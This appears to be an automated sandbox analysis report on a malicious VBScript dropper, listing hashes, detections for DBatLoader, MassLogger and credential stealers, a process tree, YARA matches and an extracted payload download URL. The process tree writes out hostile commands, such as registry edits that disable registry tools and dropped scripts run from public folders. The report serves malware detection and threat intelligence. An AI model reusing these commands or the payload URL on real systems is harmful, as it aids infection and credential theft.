Edit tour

Windows Analysis Report
INQUIRY LIST 292.vbs

Overview

General Information

Sample name:	INQUIRY LIST 292.vbs
Analysis ID:	1592501
MD5:	2f5edacbfdae7a51267deeb8e937bfec
SHA1:	d0ce895b7a4e55fe7f12121878a5818850f1dc00
SHA256:	07898f8cb7e07bd6b86fd09cfff5898eb246a44524b3dda7a39e3de32667490b
Tags:	vbsuser-abuse_ch
Infos:

Detection

DBatLoader, MassLogger RAT, PureLog Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Benign windows process drops PE files

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

VBScript performs obfuscated calls to suspicious functions

Yara detected DBatLoader

Yara detected MassLogger RAT

Yara detected PureLog Stealer

Yara detected Telegram RAT

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Drops PE files with a suspicious file extension

Machine Learning detection for dropped file

PE file contains section with special chars

Sample uses process hollowing technique

Sigma detected: DLL Search Order Hijackig Via Additional Space in Path

Sigma detected: Execution from Suspicious Folder

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Suspicious Program Location with Network Connections

Sigma detected: WScript or CScript Dropper

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses cmd line tools excessively to alter registry or file data

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a connection to the internet is available

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May check the online IP address of the machine

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Uses reg.exe to modify the Windows registry

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7160 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\INQUIRY LIST 292.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

x.exe (PID: 6492 cmdline: "C:\Users\user\AppData\Local\Temp\x.exe" MD5: 4692AEE744A1B1FAB794FF334A77A462)

cmd.exe (PID: 3584 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\Public\UhzauuilF.cmd" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3140 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

liuuazhU.pif (PID: 1856 cmdline: C:\Users\Public\Libraries\liuuazhU.pif MD5: 22331ABCC9472CC9DC6F37FAF333AA2C)

reg.exe (PID: 6612 cmdline: REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

conhost.exe (PID: 6900 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Uhzauuil.PIF (PID: 2104 cmdline: "C:\Users\Public\Libraries\Uhzauuil.PIF" MD5: 4692AEE744A1B1FAB794FF334A77A462)

liuuazhU.pif (PID: 5640 cmdline: C:\Users\Public\Libraries\liuuazhU.pif MD5: 22331ABCC9472CC9DC6F37FAF333AA2C)

reg.exe (PID: 1516 cmdline: REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

conhost.exe (PID: 1144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Uhzauuil.PIF (PID: 3796 cmdline: "C:\Users\Public\Libraries\Uhzauuil.PIF" MD5: 4692AEE744A1B1FAB794FF334A77A462)

liuuazhU.pif (PID: 5956 cmdline: C:\Users\Public\Libraries\liuuazhU.pif MD5: 22331ABCC9472CC9DC6F37FAF333AA2C)

reg.exe (PID: 3584 cmdline: REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

conhost.exe (PID: 5316 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DBatLoader	This Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.	No Attribution	https://blog.vincss.net/2020/09/re016-malware-analysis-modiloader-eng.html https://blog.vincss.net/re016-malware-analysis-modiloader/ https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4 https://isc.sans.edu/diary/Malspam+pushes+ModiLoader+DBatLoader+infection+for+Remcos+RAT/29896 https://kienmanowar.wordpress.com/2024/04/09/quicknote-phishing-email-distributes-warzone-rat-via-dbatloader/	https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader

Malware Configuration

Threatname: DBatLoader

{"Download Url": ["https://www.volareconsultoria.com.br/245_Uhzauuilkul"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000011.00000001.2046847022.0000000000400000.00000040.00000001.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
0000000B.00000002.3116443932.000000002AA80000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0000000B.00000002.3116443932.000000002AA80000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000B.00000002.3116443932.000000002AA80000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x22bae:$a1: get_encryptedPassword 0x22b82:$a2: get_encryptedUsername 0x22c46:$a3: get_timePasswordChanged 0x22b5e:$a4: get_passwordField 0x22bc4:$a5: set_encryptedPassword 0x22991:$a7: get_logins 0x21f1b:$a8: GetOutlookPasswords 0x213e0:$a9: StartKeylogger 0x1fe18:$a10: KeyLoggerEventArgs 0x1fde7:$a11: KeyLoggerEventArgsEventHandler 0x22a65:$a13: _encryptedPassword
0000000B.00000002.3116343465.000000002A956000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0000000B.00000002.3116343465.000000002A956000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000B.00000002.3116343465.000000002A956000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x633d4:$a1: get_encryptedPassword 0x633a8:$a2: get_encryptedUsername 0x6346c:$a3: get_timePasswordChanged 0x63384:$a4: get_passwordField 0x633ea:$a5: set_encryptedPassword 0x631b7:$a7: get_logins 0x62741:$a8: GetOutlookPasswords 0x61c06:$a9: StartKeylogger 0x6063e:$a10: KeyLoggerEventArgs 0x6060d:$a11: KeyLoggerEventArgsEventHandler 0x6328b:$a13: _encryptedPassword
0000000B.00000002.3118421537.000000002BD31000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0000000B.00000002.3118421537.000000002BD31000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000B.00000002.3118421537.000000002BD31000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2711e:$a1: get_encryptedPassword 0x55236:$a1: get_encryptedPassword 0x270f2:$a2: get_encryptedUsername 0x5520a:$a2: get_encryptedUsername 0x271b6:$a3: get_timePasswordChanged 0x552ce:$a3: get_timePasswordChanged 0x270ce:$a4: get_passwordField 0x551e6:$a4: get_passwordField 0x27134:$a5: set_encryptedPassword 0x5524c:$a5: set_encryptedPassword 0x26f01:$a7: get_logins 0x55019:$a7: get_logins 0x2648b:$a8: GetOutlookPasswords 0x545a3:$a8: GetOutlookPasswords 0x25950:$a9: StartKeylogger 0x53a68:$a9: StartKeylogger 0x24388:$a10: KeyLoggerEventArgs 0x524a0:$a10: KeyLoggerEventArgs 0x24357:$a11: KeyLoggerEventArgsEventHandler 0x5246f:$a11: KeyLoggerEventArgsEventHandler 0x26fd5:$a13: _encryptedPassword
00000011.00000002.3109591892.000000001C560000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000011.00000002.3109591892.000000001C560000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000011.00000002.3109591892.000000001C560000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x22bae:$a1: get_encryptedPassword 0x22b82:$a2: get_encryptedUsername 0x22c46:$a3: get_timePasswordChanged 0x22b5e:$a4: get_passwordField 0x22bc4:$a5: set_encryptedPassword 0x22991:$a7: get_logins 0x21f1b:$a8: GetOutlookPasswords 0x213e0:$a9: StartKeylogger 0x1fe18:$a10: KeyLoggerEventArgs 0x1fde7:$a11: KeyLoggerEventArgsEventHandler 0x22a65:$a13: _encryptedPassword
00000011.00000002.3109192607.000000001C136000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000011.00000002.3109192607.000000001C136000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000011.00000002.3109192607.000000001C136000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x633d4:$a1: get_encryptedPassword 0x633a8:$a2: get_encryptedUsername 0x6346c:$a3: get_timePasswordChanged 0x63384:$a4: get_passwordField 0x633ea:$a5: set_encryptedPassword 0x631b7:$a7: get_logins 0x62741:$a8: GetOutlookPasswords 0x61c06:$a9: StartKeylogger 0x6063e:$a10: KeyLoggerEventArgs 0x6060d:$a11: KeyLoggerEventArgsEventHandler 0x6328b:$a13: _encryptedPassword
0000000B.00000003.1986218044.0000000028CFF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0000000B.00000003.1986218044.0000000028CFF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000B.00000003.1986218044.0000000028CFF000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x21e36:$a1: get_encryptedPassword 0x21e0a:$a2: get_encryptedUsername 0x21ece:$a3: get_timePasswordChanged 0x21de6:$a4: get_passwordField 0x21e4c:$a5: set_encryptedPassword 0x21c19:$a7: get_logins 0x211a3:$a8: GetOutlookPasswords 0x20668:$a9: StartKeylogger 0x1f0a0:$a10: KeyLoggerEventArgs 0x1f06f:$a11: KeyLoggerEventArgsEventHandler 0x21ced:$a13: _encryptedPassword
00000006.00000002.3110746880.000000001E421000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000006.00000002.3110746880.000000001E421000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000006.00000002.3110746880.000000001E421000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2711e:$a1: get_encryptedPassword 0x55236:$a1: get_encryptedPassword 0x270f2:$a2: get_encryptedUsername 0x5520a:$a2: get_encryptedUsername 0x271b6:$a3: get_timePasswordChanged 0x552ce:$a3: get_timePasswordChanged 0x270ce:$a4: get_passwordField 0x551e6:$a4: get_passwordField 0x27134:$a5: set_encryptedPassword 0x5524c:$a5: set_encryptedPassword 0x26f01:$a7: get_logins 0x55019:$a7: get_logins 0x2648b:$a8: GetOutlookPasswords 0x545a3:$a8: GetOutlookPasswords 0x25950:$a9: StartKeylogger 0x53a68:$a9: StartKeylogger 0x24388:$a10: KeyLoggerEventArgs 0x524a0:$a10: KeyLoggerEventArgs 0x24357:$a11: KeyLoggerEventArgsEventHandler 0x5246f:$a11: KeyLoggerEventArgsEventHandler 0x26fd5:$a13: _encryptedPassword
00000006.00000002.3109531523.000000001D421000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.3109531523.000000001D421000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000011.00000002.3111207326.000000001D7F1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000011.00000002.3111207326.000000001D7F1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000011.00000002.3111207326.000000001D7F1000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2711e:$a1: get_encryptedPassword 0x55236:$a1: get_encryptedPassword 0x270f2:$a2: get_encryptedUsername 0x5520a:$a2: get_encryptedUsername 0x271b6:$a3: get_timePasswordChanged 0x552ce:$a3: get_timePasswordChanged 0x270ce:$a4: get_passwordField 0x551e6:$a4: get_passwordField 0x27134:$a5: set_encryptedPassword 0x5524c:$a5: set_encryptedPassword 0x26f01:$a7: get_logins 0x55019:$a7: get_logins 0x2648b:$a8: GetOutlookPasswords 0x545a3:$a8: GetOutlookPasswords 0x25950:$a9: StartKeylogger 0x53a68:$a9: StartKeylogger 0x24388:$a10: KeyLoggerEventArgs 0x524a0:$a10: KeyLoggerEventArgs 0x24357:$a11: KeyLoggerEventArgsEventHandler 0x5246f:$a11: KeyLoggerEventArgsEventHandler 0x26fd5:$a13: _encryptedPassword
00000001.00000003.1799207040.000000007FCB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0000000B.00000002.3089643523.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
00000006.00000003.1856725712.000000001B37A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000006.00000003.1856725712.000000001B37A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000006.00000003.1856725712.000000001B37A000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x21d2e:$a1: get_encryptedPassword 0x21d02:$a2: get_encryptedUsername 0x21dc6:$a3: get_timePasswordChanged 0x21cde:$a4: get_passwordField 0x21d44:$a5: set_encryptedPassword 0x21b11:$a7: get_logins 0x2109b:$a8: GetOutlookPasswords 0x20560:$a9: StartKeylogger 0x1ef98:$a10: KeyLoggerEventArgs 0x1ef67:$a11: KeyLoggerEventArgsEventHandler 0x21be5:$a13: _encryptedPassword
00000011.00000003.2056284697.000000001A55C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000011.00000003.2056284697.000000001A55C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000011.00000003.2056284697.000000001A55C000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x21f9e:$a1: get_encryptedPassword 0x21f72:$a2: get_encryptedUsername 0x22036:$a3: get_timePasswordChanged 0x21f4e:$a4: get_passwordField 0x21fb4:$a5: set_encryptedPassword 0x21d81:$a7: get_logins 0x2130b:$a8: GetOutlookPasswords 0x207d0:$a9: StartKeylogger 0x1f208:$a10: KeyLoggerEventArgs 0x1f1d7:$a11: KeyLoggerEventArgsEventHandler 0x21e55:$a13: _encryptedPassword
00000011.00000002.3089641728.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
00000011.00000002.3110411476.000000001C8BD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.3108782055.000000001CFF6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000006.00000002.3108782055.000000001CFF6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000006.00000002.3108782055.000000001CFF6000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x633d4:$a1: get_encryptedPassword 0x633a8:$a2: get_encryptedUsername 0x6346c:$a3: get_timePasswordChanged 0x63384:$a4: get_passwordField 0x633ea:$a5: set_encryptedPassword 0x631b7:$a7: get_logins 0x62741:$a8: GetOutlookPasswords 0x61c06:$a9: StartKeylogger 0x6063e:$a10: KeyLoggerEventArgs 0x6060d:$a11: KeyLoggerEventArgsEventHandler 0x6328b:$a13: _encryptedPassword
0000000B.00000002.3116923850.000000002AB30000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0000000B.00000002.3116923850.000000002AB30000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000B.00000002.3116923850.000000002AB30000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x21ca6:$a1: get_encryptedPassword 0x21c7a:$a2: get_encryptedUsername 0x21d3e:$a3: get_timePasswordChanged 0x21c56:$a4: get_passwordField 0x21cbc:$a5: set_encryptedPassword 0x21a89:$a7: get_logins 0x21013:$a8: GetOutlookPasswords 0x204d8:$a9: StartKeylogger 0x1ef10:$a10: KeyLoggerEventArgs 0x1eedf:$a11: KeyLoggerEventArgsEventHandler 0x21b5d:$a13: _encryptedPassword
00000006.00000002.3109531523.000000001D5BA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.3089721536.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
00000006.00000002.3109265688.000000001D3A0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000006.00000002.3109265688.000000001D3A0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000006.00000002.3109265688.000000001D3A0000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x22bae:$a1: get_encryptedPassword 0x22b82:$a2: get_encryptedUsername 0x22c46:$a3: get_timePasswordChanged 0x22b5e:$a4: get_passwordField 0x22bc4:$a5: set_encryptedPassword 0x22991:$a7: get_logins 0x21f1b:$a8: GetOutlookPasswords 0x213e0:$a9: StartKeylogger 0x1fe18:$a10: KeyLoggerEventArgs 0x1fde7:$a11: KeyLoggerEventArgsEventHandler 0x22a65:$a13: _encryptedPassword
00000006.00000001.1853843841.0000000000400000.00000040.00000001.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
0000000B.00000001.1965196360.0000000000400000.00000040.00000001.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
00000011.00000002.3110271485.000000001C760000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000011.00000002.3110271485.000000001C760000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000011.00000002.3110271485.000000001C760000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x21ca6:$a1: get_encryptedPassword 0x21c7a:$a2: get_encryptedUsername 0x21d3e:$a3: get_timePasswordChanged 0x21c56:$a4: get_passwordField 0x21cbc:$a5: set_encryptedPassword 0x21a89:$a7: get_logins 0x21013:$a8: GetOutlookPasswords 0x204d8:$a9: StartKeylogger 0x1ef10:$a10: KeyLoggerEventArgs 0x1eedf:$a11: KeyLoggerEventArgsEventHandler 0x21b5d:$a13: _encryptedPassword
00000006.00000002.3111442150.000000001F8A0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000006.00000002.3111442150.000000001F8A0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000006.00000002.3111442150.000000001F8A0000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x21ca6:$a1: get_encryptedPassword 0x21c7a:$a2: get_encryptedUsername 0x21d3e:$a3: get_timePasswordChanged 0x21c56:$a4: get_passwordField 0x21cbc:$a5: set_encryptedPassword 0x21a89:$a7: get_logins 0x21013:$a8: GetOutlookPasswords 0x204d8:$a9: StartKeylogger 0x1ef10:$a10: KeyLoggerEventArgs 0x1eedf:$a11: KeyLoggerEventArgsEventHandler 0x21b5d:$a13: _encryptedPassword
00000011.00000002.3110411476.000000001C7F1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000002.3110411476.000000001C7F1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
